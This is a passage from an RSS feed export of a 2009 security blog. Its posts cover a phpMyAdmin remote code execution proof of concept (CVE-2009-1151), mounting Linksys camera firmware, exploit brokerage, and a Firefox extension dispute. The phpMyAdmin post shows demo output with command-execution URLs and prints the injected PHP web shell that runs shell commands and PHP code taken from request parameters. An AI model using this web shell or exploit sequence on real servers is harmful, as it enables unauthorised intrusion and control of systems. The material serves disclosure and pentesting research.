<p><em>Finally, but not least, thanks to everyone who helped me prepare my presentations such as Jan Fry, Amir Azam, pavlovs_dog, Monsy Carlo, etc.</em></p><p>---<br/>gnucitizen <a href="http://www.gnucitizen.net/gigs">information security gigs</a> part of the <a href="http://www.gnucitizen.net">cutting-edge network</a>:</p><ul><li><a href="http://www.adsosimple.com/" target="_blank">No active items found!</a></li><li><a href="http://www.gnucitizen.org" target="_blank">GNUCITIZEN  NETWORK </a></li></ul><p>---<br/>recent posts from the gnucitizen <a href="http://www.gnucitizen.net/">cutting-edge network</a>:</p><p><a href="http://www.hakiri.org/blog/jerry-rice-on-success/">Jerry Rice on Success</a><br/><a href="http://www.hakiri.org/blog/time-blocking/">Time Blocking</a><br/><a href="http://blog.websecurify.com/2010/03/05-is-up-for-grabs.html">0.5 is up for grabs</a><br/><a href="http://blog.websecurify.com/2010/02/websecurify-05rc1-is-available-for.html">Websecurify 0.5RC1 Is Available for Download</a><br/><a href="http://blog.websecurify.com/2010/02/whats-new-in-websecurify-05.html">What's New in Websecurify 0.5</a><br/></p><img src="http://feeds.feedburner.com/~r/gnucitizen/~4/yiuUen9-FhI" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.gnucitizen.org/blog/of-sec-cons-and-magstripe-gift-cards/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://www.gnucitizen.org/blog/of-sec-cons-and-magstripe-gift-cards/</feedburner:origLink></item>
		<item>
		<title>CVE-2009-1151: phpMyAdmin Remote Code Execution Proof of Concept</title>
		<link>http://feedproxy.google.com/~r/gnucitizen/~3/MbrBV_cxDIg/</link>
		<comments>http://www.gnucitizen.org/blog/cve-2009-1151-phpmyadmin-remote-code-execution-proof-of-concept/#comments</comments>
		<pubDate>Tue, 09 Jun 2009 19:03:13 +0000</pubDate>
		<dc:creator>pagvac</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[CVE-2009-1151]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[pagvac]]></category>
		<category><![CDATA[phpMyAdmin]]></category>
		<category><![CDATA[remote]]></category>

		<guid isPermaLink="false">https://www.gnucitizen.org/?p=3254</guid>
		<description><![CDATA[I couldn&#8217;t find any public PoC/exploit for this phpMyAdmin vulnerability, despite it being a serious bug affecting a popular open-source project.

I think this vulnerability is a nice reminder that it&#8217;s still possible to perform remote command execution these days without relying on SQL injection (i.e.: xp_cmdshell) or a memory corruption bug (i.e.: heap overflow).



All the documentation you need is in the script comments. [...]]]></description>
			<content:encoded><![CDATA[<p>I couldn&#8217;t find any public PoC/exploit for this <a href="http://www.phpmyadmin.net/home_page/index.php">phpMyAdmin</a> vulnerability, despite it being a serious bug affecting a popular open-source project.</p>

<p>I think this vulnerability is a nice reminder that it&#8217;s still possible to perform remote command execution these days without relying on SQL injection (i.e.: xp_cmdshell) or a memory corruption bug (i.e.: heap overflow).</p>

<div class="screen"><a href="http://www.flickr.com/photos/photographi_esc_/2853937161/"><img src="http://farm4.static.flickr.com/3287/2853937161_ec3decc214.jpg?v=0" title="Broken"/></a></div>

<p>All the documentation you need is in the script comments. I recommend you to go through it, before you actually run the script.</p>

<p>After reading the public <a href="http://www.phpmyadmin.net/home_page/security/PMASA-2009-3.php">advisory</a> and patched code, and playing around for a while, I managed to have a working PoC bash script. The script will allow you to remotely run shell commands and PHP code against vulnerable targets. Although in principle the vulnerability sounds quite simple, it actually took me a while to go from <a href="http://www.phpmyadmin.net/home_page/security/PMASA-2009-3.php">advisory</a> to working attack code.</p>

<p><em>I&#8217;m providing the script with the hope that it will help pentesters and security researchers. Please only test the script against your own systems, or systems you have been given permission to pentest! Don&#8217;t be evil, it&#8217;s not worth it.</em></p>

<h3>Demo</h3>

<pre><code>$ ./phpMyAdminRCE.sh
usage: ./phpMyAdminRCE.sh <phpMyAdmin_base_URL>
i.e.: ./phpMyAdminRCE.sh http://target.tld/phpMyAdmin/

$ ./phpMyAdminRCE.sh http://172.16.211.10/phpMyAdmin-3.0.1.1/
[+] checking if phpMyAdmin exists on URL provided ...
[+] phpMyAdmin cookie and form token received successfully. Good!
[+] attempting to inject phpinfo() ...
[+] success! phpinfo() injected successfully! output saved on /tmp/phpMyAdminRCE.sh.9217.phpinfo.flag.html
[+] you *should* now be able to remotely run shell commands and PHP code using your browser. i.e.:

http://172.16.211.10/phpMyAdmin-3.0.1.1//config/config.inc.php?c=ls+-l+/


http://172.16.211.10/phpMyAdmin-3.0.1.1//config/config.inc.php?p=phpinfo();

    please send any feedback/improvements for this script to unknown.pentester<AT_sign_goes_here>gmail.com

$ curl "http://172.16.211.10/phpMyAdmin-3.0.1.1//config/config.inc.php?c=ls+-l+/"
total 96
drwxr-xr-x   2 root   root  4096 Mar 11 10:12 bin
drwxr-xr-x   3 root   root  4096 May  6 10:01 boot
lrwxrwxrwx   1 root   root    11 Oct 12  2008 cdrom -> media/cdrom
drwxr-xr-x  15 root   root 14300 Jun  5 09:02 dev
drwxr-xr-x 147 root   root 12288 Jun  5 09:02 etc
drwxr-xr-x   3 root   root  4096 Oct 18  2008 home
drwxr-xr-x   2 root   root  4096 Jul  2  2008 initrd
<em>[partial output removed for brevity reasons]</em></code></pre>

<p>Contents of <code>/config/config.inc.php</code> after our evil code has been successfully injected (injected code shown in <strong>bold</strong>):</p>

<pre><code>&lt;?php
/*
 * Generated configuration file
 * Generated by: phpMyAdmin 3.0.1.1 setup script by Michal Čihař &lt;michal@cihar.com&gt;
 * Version: $Id: setup.php 11423 2008-07-24 17:26:05Z lem9 $
 * Date: Tue, 09 Jun 2009 14:13:34 GMT
 */

/* Servers configuration */
$i = 0;

/* Server  (config:root) [1] */
$i++;
$cfg[&apos;Servers&apos;][$i][&apos;host&apos;]=&apos;<strong>&apos;; if($_GET[&apos;c&apos;]){echo
&apos;&lt;pre&gt;&apos;;system($_GET[&apos;c&apos;]);echo &apos;&lt;/pre&gt;&apos;;}if($_GET[&apos;p&apos;]){echo
&apos;&lt;pre&gt;&apos;;eval($_GET[&apos;p&apos;]);echo &apos;&lt;/pre&gt;&apos;;};//</strong>&apos;] = &apos;localhost&apos;;
$cfg[&apos;Servers&apos;][$i][&apos;extension&apos;] = &apos;mysqli&apos;;
$cfg[&apos;Servers&apos;][$i][&apos;connect_type&apos;] = &apos;tcp&apos;;
$cfg[&apos;Servers&apos;][$i][&apos;compress&apos;] = false;
$cfg[&apos;Servers&apos;][$i][&apos;auth_type&apos;] = &apos;config&apos;;
$cfg[&apos;Servers&apos;][$i][&apos;user&apos;] = &apos;root&apos;;

/* End of servers configuration */

?&gt;</code></pre>

<h3>Thanks</h3>

<p><em>I&#8217;d like to thank <a href="http://labs.neohapsis.com/2009/04/06/about-cve-2009-1151/">Greg Ose</a> for discovering such a cool vuln and doing a nice writeup about the technical details! Also big thanks to <a href="http://www.milw0rm.com/">str0ke</a> for testing this PoC script and providing such useful feedback!</em></p><p>---<br/>gnucitizen <a href="http://www.gnucitizen.net/gigs">information security gigs</a> part of the <a href="http://www.gnucitizen.net">cutting-edge network</a>:</p><ul><li><a href="http://www.adsosimple.com/" target="_blank">No active items found!</a></li><li><a href="http://www.gnucitizen.org" target="_blank">GNUCITIZEN  NETWORK </a></li></ul><p>---<br/>recent posts from the gnucitizen <a href="http://www.gnucitizen.net/">cutting-edge network</a>:</p><p><a href="http://www.hakiri.org/blog/jerry-rice-on-success/">Jerry Rice on Success</a><br/><a href="http://www.hakiri.org/blog/time-blocking/">Time Blocking</a><br/><a href="http://blog.websecurify.com/2010/03/05-is-up-for-grabs.html">0.5 is up for grabs</a><br/><a href="http://blog.websecurify.com/2010/02/websecurify-05rc1-is-available-for.html">Websecurify 0.5RC1 Is Available for Download</a><br/><a href="http://blog.websecurify.com/2010/02/whats-new-in-websecurify-05.html">What's New in Websecurify 0.5</a><br/></p><img src="http://feeds.feedburner.com/~r/gnucitizen/~4/MbrBV_cxDIg" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.gnucitizen.org/blog/cve-2009-1151-phpmyadmin-remote-code-execution-proof-of-concept/feed/</wfw:commentRss>
		<slash:comments>18</slash:comments>
		<feedburner:origLink>http://www.gnucitizen.org/blog/cve-2009-1151-phpmyadmin-remote-code-execution-proof-of-concept/</feedburner:origLink></item>
		<item>
		<title>Hacking Linksys IP Cameras (pt 5)</title>
		<link>http://feedproxy.google.com/~r/gnucitizen/~3/i5HZCjdXt3I/</link>
		<comments>http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-5/#comments</comments>
		<pubDate>Fri, 05 Jun 2009 08:04:55 +0000</pubDate>
		<dc:creator>pagvac</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[cameras]]></category>
		<category><![CDATA[firmware]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[linksys]]></category>
		<category><![CDATA[mount]]></category>

		<guid isPermaLink="false">https://www.gnucitizen.org/?p=3229</guid>
		<description><![CDATA[This article is a continuation of the following GNUCITIZEN articles: Hacking Linksys IP Cameras (pt 1), Hacking Linksys IP Cameras (pt 2), Hacking Linksys IP Cameras (pt 3), Hacking Linksys IP Cameras (pt 4).

Mounting the filesystem on your workstation

There are many ways to mount the camera&#8217;s filesystem using the firmware binary. In this post, we&#8217;ll explain one way to mount firmware version v1.00R24 which is the latest available for the WVC54GCA model. [...]]]></description>
			<content:encoded><![CDATA[<p><em>This article is a continuation of the following GNUCITIZEN articles: <q><a href="http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-1/">Hacking Linksys IP Cameras (pt 1)</a></q>, <q><a href="http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-2/">Hacking Linksys IP Cameras (pt 2)</a></q>, <q><a href="http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-3/">Hacking Linksys IP Cameras (pt 3)</a></q>, <q><a href="http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-4/">Hacking Linksys IP Cameras (pt 4)</a></q>.</em></p>

<h3>Mounting the filesystem on your workstation</h3>

<p>There are many ways to mount the camera&#8217;s filesystem using the firmware binary. In this post, we&#8217;ll explain one way to mount firmware version v1.00R24 which is the latest available for the WVC54GCA model.</p>

<div class="screen"><a href="http://www.flickr.com/photos/cbs_fan/1029630568/"><img src="http://farm2.static.flickr.com/1266/1029630568_a24b2a71e3.jpg?v=0" title="Triple Cam brighted"/></a></div>

<p>If you were to only use the firmware binary, things could be a bit difficult, as you don&#8217;t know the format of the binary at all. However, having the GPL firmware helps a lot as we&#8217;ll see next. I emailed Linksys back on Apr 23, 2009 informing them that although the GPL firmware was available on their site for other Linksys products, they hadn&#8217;t uploaded the one for the WVC54GCA camera. A few days later, on Apr 27, 2009, Linksys kindly made it available and <a href="http://www.linksysbycisco.com/US/en/supportgplcode">has been available</a> ever since (the file to download is wvc54gca_v1.00R24.tgz).</p>

<p>Thanks to <a href="http://brooknet.no-ip.com/~lex/">Lex Landa</a>&#8217;s tips I was able to figure out the parameters required to mount the firmware binary, by analysing the data contained in the <code>./scripts/wvc54gc_usa_english/combine.cfg</code> file which is included with the <a href="http://downloads.linksysbycisco.com/downloads/wvc54gca_v1.00R24,5.tgz">GPL firmware</a>:</p>

<pre><code>size = 00400000
file = WVC54GCA.bin
f1_name = loader
f1_start = 00000000
f2_name=loader.ver
f2_start=00007FFE
f3_name=<strong>kernel</strong>
f3_start=<strong>00020000</strong>
f4_name=<strong>filesystem</strong>
f4_start=<strong>000E0000</strong>
f5_name=PID
f5_start=003FFFB2</code></pre>

<p>I simply focused on the <code>kernel</code> and <code>filesystem</code> parameters. The previous settings show that then kernel starts at 0&#215;20000 (131072 bytes / 128 KB), and the filesystem starts at 0xE0000 (917504 bytes / 896 KB). In order to start <a href="http://en.wikipedia.org/wiki/Dd_(Unix)">dd</a> reading at 0xE0000, we need to keep 7 chunks of 131072 bytes. i.e.:<code>7*131072=917504 bytes=0xE0000</code> (the position we want)</p>

<pre><code>$ dd if=DYFF08-402-1024.bin bs=<strong>131072</strong> of=fs.img skip=<strong>7</strong>
25+0 records in
25+0 records out
3276800 bytes (3.3 MB) copied, 0.019424 s, 169 MB/s</code></pre>

<p>We then verify that our image file is a valid <code>squashfs</code> filesystem:</p>

<pre><code>$ file fs.img 
fs.img:<strong> Squashfs</strong> filesystem, little endian, version 3.0, 2216311 bytes, 475 inodes, blocksize: 65536 bytes, created: Fri Nov  9 03:58:52 2007</code></pre>

<p>A finally mount it on our hardrive:</p>

<pre><code>$ sudo mkdir /mnt/test
$ sudo mount -t <strong>squashfs</strong> fs.img /mnt/test -o ro,loop
$ ls /mnt/test/
bin  dev  etc  lib  mnt  proc  root  sbin  tmp  usr  var</code></pre><p>---<br/>gnucitizen <a href="http://www.gnucitizen.net/gigs">information security gigs</a> part of the <a href="http://www.gnucitizen.net">cutting-edge network</a>:</p><ul><li><a href="http://www.adsosimple.com/" target="_blank">No active items found!</a></li><li><a href="http://www.gnucitizen.org" target="_blank">GNUCITIZEN  NETWORK </a></li></ul><p>---<br/>recent posts from the gnucitizen <a href="http://www.gnucitizen.net/">cutting-edge network</a>:</p><p><a href="http://www.hakiri.org/blog/jerry-rice-on-success/">Jerry Rice on Success</a><br/><a href="http://www.hakiri.org/blog/time-blocking/">Time Blocking</a><br/><a href="http://blog.websecurify.com/2010/03/05-is-up-for-grabs.html">0.5 is up for grabs</a><br/><a href="http://blog.websecurify.com/2010/02/websecurify-05rc1-is-available-for.html">Websecurify 0.5RC1 Is Available for Download</a><br/><a href="http://blog.websecurify.com/2010/02/whats-new-in-websecurify-05.html">What's New in Websecurify 0.5</a><br/></p><img src="http://feeds.feedburner.com/~r/gnucitizen/~4/i5HZCjdXt3I" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-5/feed/</wfw:commentRss>
		<slash:comments>12</slash:comments>
		<feedburner:origLink>http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-5/</feedburner:origLink></item>
		<item>
		<title>Breaking Into a Home With an iPhone</title>
		<link>http://feedproxy.google.com/~r/gnucitizen/~3/0BDN8BPqizg/</link>
		<comments>http://www.gnucitizen.org/blog/breaking-into-a-home-with-an-iphone/#comments</comments>
		<pubDate>Mon, 11 May 2009 11:27:16 +0000</pubDate>
		<dc:creator>pdp</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[iphone]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[web]]></category>
		<category><![CDATA[web2.0]]></category>

		<guid isPermaLink="false">https://www.gnucitizen.org/?p=3211</guid>
		<description><![CDATA[This is going to be one of these quick posts which just makes you think what the information security landscape will be like in 5 years. Before I move on with my commentary, here is a video which is essential for you to watch.



Got the idea? No! Let me explain. What you see in the video above is an application for the iPhone which gives you detailed characteristics of properties (houses) in USA. [...]]]></description>
			<content:encoded><![CDATA[<p>This is going to be one of these quick posts which just makes you think what the information security landscape will be like in 5 years. Before I move on with my commentary, here is a video which is essential for you to watch.</p>

<div class="screen"><object width="560" height="340"><param name="movie" value="http://www.youtube.com/v/rJfrdcbfXsc&#038;hl=en&#038;fs=1"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/rJfrdcbfXsc&#038;hl=en&#038;fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="560" height="340"></embed></object></div>

<p>Got the idea? No! Let me explain. What you see in the video above is an application for the iPhone which gives you detailed characteristics of properties (houses) in USA. You can either search the map or just use your GPS coordinates to get information such as price of the house, number of floors, number of rooms, pictures taken from inside the house if the house was part of any register (letting agencies etc.) before you moved in, and other interesting information.</p>

<p>This is the kind of information gathering you see only in the movies. I won&#8217;t be surprised if future versions of these kind of applications can pool even essential blueprints which show not only how the house was constructed from architectural point of view but also show the power and gas grids and perhaps even any other wiring such as telephone, coaxial, etc.</p>

<p>All of this information is also available through easily accessible APIs. Perhaps these APIs are not publicly known but anyone who can run a sniffer most certainly can get hold of the URLs and their formats. Now mash this APIs with any other tool such as one that correlates IP address to physical location (not very accurate btw) or better yet a wardriving tool and you have a infowar machine in your pocket that will make any criminal organization proud of.</p>

<p>This is the main purpose of my <a href="http://www.gnucitizen.org/blog/for-my-next-trick-hacking-web20/">Web2.0 talk/research</a> from two years ago. Back then I made a very simple analogy which I would like to bring once again. When the email was invented nobody even suspected that it will be used for things such as spam and malware. That was something unimaginable. Today spam is the fastest growing criminal industry and malware delivered over email is the most successful one. In summary, we cannot foresee how a technology will be used/abused. That depends on the imagination of the people.</p>

<p>The same goes for the Web2.0 meme. The more we use it, the more ways we will find to abuse it. However it is also important to say that the more we use it the more accustomed we will become to it. Therefore, when the shit hits the fan there will be very little that we can do.</p>

<p><em>The reason I am bringing this up is not because I would like to start even more FUD around the Web2.0 mem but it is time for security aware people to stop looking into the technical aspects and start thinking in terms of technologies that affect normal people. Sometimes, we just lack the realism and we fail to spot the obvious problems.</em></p><p>---<br/>gnucitizen <a href="http://www.gnucitizen.net/gigs">information security gigs</a> part of the <a href="http://www.gnucitizen.net">cutting-edge network</a>:</p><ul><li><a href="http://www.adsosimple.com/" target="_blank">No active items found!</a></li><li><a href="http://www.gnucitizen.org" target="_blank">GNUCITIZEN  NETWORK </a></li></ul><p>---<br/>recent posts from the gnucitizen <a href="http://www.gnucitizen.net/">cutting-edge network</a>:</p><p><a href="http://www.hakiri.org/blog/jerry-rice-on-success/">Jerry Rice on Success</a><br/><a href="http://www.hakiri.org/blog/time-blocking/">Time Blocking</a><br/><a href="http://blog.websecurify.com/2010/03/05-is-up-for-grabs.html">0.5 is up for grabs</a><br/><a href="http://blog.websecurify.com/2010/02/websecurify-05rc1-is-available-for.html">Websecurify 0.5RC1 Is Available for Download</a><br/><a href="http://blog.websecurify.com/2010/02/whats-new-in-websecurify-05.html">What's New in Websecurify 0.5</a><br/></p><img src="http://feeds.feedburner.com/~r/gnucitizen/~4/0BDN8BPqizg" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.gnucitizen.org/blog/breaking-into-a-home-with-an-iphone/feed/</wfw:commentRss>
		<slash:comments>17</slash:comments>
		<feedburner:origLink>http://www.gnucitizen.org/blog/breaking-into-a-home-with-an-iphone/</feedburner:origLink></item>
		<item>
		<title>Extensions at War</title>
		<link>http://feedproxy.google.com/~r/gnucitizen/~3/V3taPIIsstw/</link>
		<comments>http://www.gnucitizen.org/blog/extensions-at-war/#comments</comments>
		<pubDate>Sun, 03 May 2009 08:37:28 +0000</pubDate>
		<dc:creator>pdp</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[#nomorefreebugs]]></category>
		<category><![CDATA[cyber warfare]]></category>
		<category><![CDATA[firefox]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">https://www.gnucitizen.org/?p=3171</guid>
		<description><![CDATA[Two of the most popular Firefox extensions are at war, fighting for their own piece of land. More examples will follow.



Oh yes, the digital battlefield is taking unusual shapes. The latest manifestation of cyber warfare is a conflict between the Adblock Plus and the NoScript extensions. The story goes that NoScript used some JavaScript tactics and, of course, some obfuscations in order to cripple the Adblock Plus functionalities. [...]]]></description>
			<content:encoded><![CDATA[<p>Two of the most popular Firefox extensions are at war, fighting for their own piece of land. More examples will follow.</p>

<div class="screen"><a href="http://www.flickr.com/photos/32912172@N00/3119211301/"><img src="http://farm4.static.flickr.com/3213/3119211301_40cbd3815d.jpg?v=0" alt="War poster,1943" /></a></div>

<p>Oh yes, the digital battlefield is taking unusual shapes. The latest manifestation of cyber warfare is a conflict between the Adblock Plus and the NoScript extensions. The <a href="http://adblockplus.org/blog/attention-noscript-users">story goes</a> that NoScript used some JavaScript tactics and, of course, some obfuscations in order to cripple the Adblock Plus functionalities. This attack was a response to Adblock Plus blocking NoScript ads which you see when you upgrade the extension, which as you know happens quite regularly, don&#8217;t know why.</p>

<p>The conflict seems to be resolved now to one degree or another but it is interesting to observe the whole situation and also draw important conclusions. Therefore, I&#8217;ve got several points I would like to bring to the table:</p>

<ol>
<li>More examples of similar nature will follow. Keep an eye on Facebook, Apple AppStore, Firefox and other platforms that allow 3rd-party components to be displayed, downloaded and executed.</li>
<li><a href="http://www.gnucitizen.org/blog/firefox-malware/">As I mentioned before</a>, a malicious piece of JavaScript code (even an obvious obfuscation) can be quite easily smuggled into harmlessly looking Firefox extensions. If I may speculate, the situation is the same for other similar platforms.</li>
<li>Unless platform vendors do something about it, they could become the next hot spot for all sorts of interesting malware.</li>
</ol>

<p><em>It is also very interesting to see the extend to which extension developers will go in order to protect their userbase. After all, larger userbase equals more money. And with <a href="http://blog.trailofbits.com/2009/03/22/no-more-free-bugs/">more people looking to quickly cache in</a>, the battlefield is truly changing for better or worse.</em></p><p>---<br/>gnucitizen <a href="http://www.gnucitizen.net/gigs">information security gigs</a> part of the <a href="http://www.gnucitizen.net">cutting-edge network</a>:</p><ul><li><a href="http://www.adsosimple.com/" target="_blank">No active items found!</a></li><li><a href="http://www.gnucitizen.org" target="_blank">GNUCITIZEN  NETWORK </a></li></ul><p>---<br/>recent posts from the gnucitizen <a href="http://www.gnucitizen.net/">cutting-edge network</a>:</p><p><a href="http://www.hakiri.org/blog/jerry-rice-on-success/">Jerry Rice on Success</a><br/><a href="http://www.hakiri.org/blog/time-blocking/">Time Blocking</a><br/><a href="http://blog.websecurify.com/2010/03/05-is-up-for-grabs.html">0.5 is up for grabs</a><br/><a href="http://blog.websecurify.com/2010/02/websecurify-05rc1-is-available-for.html">Websecurify 0.5RC1 Is Available for Download</a><br/><a href="http://blog.websecurify.com/2010/02/whats-new-in-websecurify-05.html">What's New in Websecurify 0.5</a><br/></p><img src="http://feeds.feedburner.com/~r/gnucitizen/~4/V3taPIIsstw" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.gnucitizen.org/blog/extensions-at-war/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		<feedburner:origLink>http://www.gnucitizen.org/blog/extensions-at-war/</feedburner:origLink></item>
		<item>
		<title>Exploit Sweatshop</title>
		<link>http://feedproxy.google.com/~r/gnucitizen/~3/rELeF2i51BY/</link>
		<comments>http://www.gnucitizen.org/blog/exploit-sweatshop/#comments</comments>
		<pubDate>Thu, 30 Apr 2009 12:04:47 +0000</pubDate>
		<dc:creator>pdp</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[0day]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[sweatshop]]></category>

		<guid isPermaLink="false">https://www.gnucitizen.org/?p=3141</guid>
		<description><![CDATA[When I was playing/introducing the partial disclosure practice an year and something ago, I did get contacted by numerous dodgy characters willing to buy yet undisclosed vulnerabilities for substantial amount of money.



Of course, requests of that nature were kindly ignored. I couldn&#8217;t believe that someone was willing to give me so much money for something I virtually spent 2-3 hours maximum to produce. [...]]]></description>
			<content:encoded><![CDATA[<p>When I was playing/introducing the partial disclosure practice an year and something ago, I did get contacted by numerous dodgy characters willing to buy yet undisclosed vulnerabilities for substantial amount of money.</p>

<div class="screen"><a href="http://www.flickr.com/photos/28876688@N03/2696481749/"><img src="http://farm4.static.flickr.com/3288/2696481749_6b88654114.jpg?v=0" alt="Sweatshop project" /></a></div>

<p>Of course, requests of that nature were kindly ignored. I couldn&#8217;t believe that someone was willing to give me so much money for something I virtually spent 2-3 hours maximum to produce.</p>

<p>Later on, during the CONFidence 2008 event in Krakow I met a bunch of people who claimed that they already sell exploits to various UK companies and the figures that they were making were outstanding. To give you a clue, given the pound dollar difference at that time, you could have made 6 times more than what ZDI and other similar programs can offer you for a top range exploit. This is already better than a top salary in UK.</p>

<p>Same year, different event&#8230;  I saw an interesting presentation by Robert McArdle from Trend Micro. The presentation was titled <q>Fighting web Based, Profit-Driven Threats</q>. On one of his slides, Robert commented that <q>cybercrime is becoming more profitable than the drug cartels</q>. Perhaps you wont be able to make as much money from carding as you might expect but you can do quite well selling visualized stuff, such as exploits and exploit toolkits.</p>

<p>Present times, DojoSec Monthly Briefings&#8230; Matthew Watchinski from Sourcefire VRT <a href="http://vimeo.com/4110571">talked</a> about a PDF 0day spreading around Xmas time. The exploit took a couple of good months for Adobe to fix it. The author sold it for 75K to a unknown 3rd-party in China according to Matthew. The vulnerability was also relatively easy to find and required very little experience to exploit.</p>

<p>All of this leads to the very obvious conclusion which is that at present times cybercrime is a flourishing industry. Soon, there will be even more recruits coming to join the dark-side forces of the cybercrime cartels. They will do it for the money!</p>

<div class="message"><q>No more free bugs</q> you say. I say that <strong>you</strong> are leading people to become the next generation of cyber menace. Perhaps you forgot that the information security community was built on and thrived because of a simple but fundamental principle: <q>knowledge must be free</q>.</div>

<h3>Sell The Bugs</h3>

<p>Regardless how good these figures may sound to you, you need to take a step back and think really well what you are getting into. Here are a few points that you need to consider before selling exploits:</p>

<ul>
<li><strong>Cybercrime is not a joke</strong> &#8211; If you get caught selling exploits to a dodgy 3rd-party you may end up with a prison sentence longer than the sentence of a child molester. If you live in US or UK you could be charged and treated as a terrorist which will completely destroy not only your life but the life of your closes people.</li>
<li><strong>TAX man problems</strong> &#8211; Oh Yes! Unjustifiable incomes could get you in trouble with the TAX man. The TAX man will hunt you and hurt you.</li>
<li><strong>Broken legs and other broken parts of the body</strong> &#8211; You have no idea to whom you are selling to. Tomorrow you may wake up with broken legs and twice as poorer as the day before.</li>
<li><strong>Even worse</strong> &#8211; People will kill for a lot less than 75K. Keep that in mind.</li>
</ul>

<p>In my humble opinion, exploit brokerage is a risky business. There is an unquantifiable risk associated with this practice and that is only due to the high price of exploits which are sold today.</p>

<h3>Exploit Sweatshop</h3>

<p>Nevertheless, it is just silly to believe that no one is producing and selling exploits in a large scale. Do you remember the numerous gaming sweatshops which sprung up like wild mushrooms after the recent heavy rains in 3rd-world countries? I recall seeing a documentary on a typical day in a Chinese WoW sweatshop. I remember I saw a room full of almost naked people, numerous PCs hooked up into a gigantic DIY network spreading across the entire floor. Most of the WoW accounts were fully automated, running from virtualized platforms.</p>

<p>The aim was simple: <strong>a)</strong> develop many characters in a semi-automated fashion by killing small animals and other things around the WoW world and <strong>b)</strong> sell the characters plus other artifacts to western buyers for a substantial amount of money. All of this can be achieved for as little as $70 a month per person. This is a remarkable business model which works extremely well.</p>

<p>Similarly, all you need is a bunch of programmers from India, China, or Eastern Europe to code up fuzzers and run them against as many software products as possible. At the end of the day buffer overflow exploits a relative easy to detect. All you need is a crash caused by putting far too many 0&#215;41 in a buffer. The crash is already an indication that something is wrong. It requires a bit of manual work to figure out whether the crash is exploitable. From personal experience, and by looking into the work of my peers, it takes approximately 10 days to develop a crash into an exploit. Most of the times, the exploitability factor of a crash is apparent and therefore no time needs to be wasted. Other times, a crash can be archived for future investigation when it could become exploitable given it meets the necessary conditions.</p>

<p>Perhaps you can do all that by paying someone as little as $70 a month as it is the case with WoW sweatshops. That is 3 times less than what I am paying for just hosting. Therefore, I most certainly can afford to hire 3-4 people right now and even double their salaries, but let&#8217;s do the maths:</p>

<pre><code># average exploit price: <strong>$5000</strong>
# number of people to hire: <strong>5</strong>
# average monthly salary: <strong>$100</strong>
# job specs: <strong>write fuzzers</strong>

5 * 100 = $500 # a month expenses
5000 / 500 = 10 # months worth of work</code></pre>

<p>Heck, I can even put this bill on my credit card and pay as little as $50 a month. The chances that I will sell an exploit for $5K in the next 10 months are pretty high. $5K is only if I go with a legitimate company. I can probably make 6 times more by selling it to a dodgy 3rd-party. The only thing I need to worry about is the risk.</p>

<h3>Some Final Words</h3>

<p>Finally, I know that a lot of people are into the security business because of all the romanticism and the myths surrounding the <q>hacker</q> figure. Things look different once you become the hacker and your day job and lifestyle are surrounded by hacking and breaking into systems of any sort. There is nothing romantic about it.</p>

<p><em>So, don&#8217;t get into trouble for the wrong reasons. If you are young and you need advice what to do with your career, contact us or contact any one who has been into this industry long enough to give you a good and sensible advice. Just don&#8217;t jump onto the <q>No free bugs!</q> bandwagon.</em></p><p>---<br/>gnucitizen <a href="http://www.gnucitizen.net/gigs">information security gigs</a> part of the <a href="http://www.gnucitizen.net">cutting-edge network</a>:</p><ul><li><a href="http://www.adsosimple.com/" target="_blank">No active items found!</a></li><li><a href="http://www.gnucitizen.org" target="_blank">GNUCITIZEN  NETWORK </a></li></ul><p>---<br/>recent posts from the gnucitizen <a href="http://www.gnucitizen.net/">cutting-edge network</a>:</p><p><a href="http://www.hakiri.org/blog/jerry-rice-on-success/">Jerry Rice on Success</a><br/><a href="http://www.hakiri.org/blog/time-blocking/">Time Blocking</a><br/><a href="http://blog.websecurify.com/2010/03/05-is-up-for-grabs.html">0.5 is up for grabs</a><br/><a href="http://blog.websecurify.com/2010/02/websecurify-05rc1-is-available-for.html">Websecurify 0.5RC1 Is Available for Download</a><br/><a href="http://blog.websecurify.com/2010/02/whats-new-in-websecurify-05.html">What's New in Websecurify 0.5</a><br/></p><img src="http://feeds.feedburner.com/~r/gnucitizen/~4/rELeF2i51BY" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.gnucitizen.org/blog/exploit-sweatshop/feed/</wfw:commentRss>
		<slash:comments>35</slash:comments>
		<feedburner:origLink>http://www.gnucitizen.org/blog/exploit-sweatshop/</feedburner:origLink></item>
		<item>
		<title>Jeriko Group and Source Code Repository</title>
		<link>http://feedproxy.google.com/~r/gnucitizen/~3/TtNVvmtSyEM/</link>
		<comments>http://www.gnucitizen.org/blog/jeriko-group-and-source-code-repository/#comments</comments>
		<pubDate>Tue, 28 Apr 2009 06:50:39 +0000</pubDate>
		<dc:creator>pdp</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[announcement]]></category>
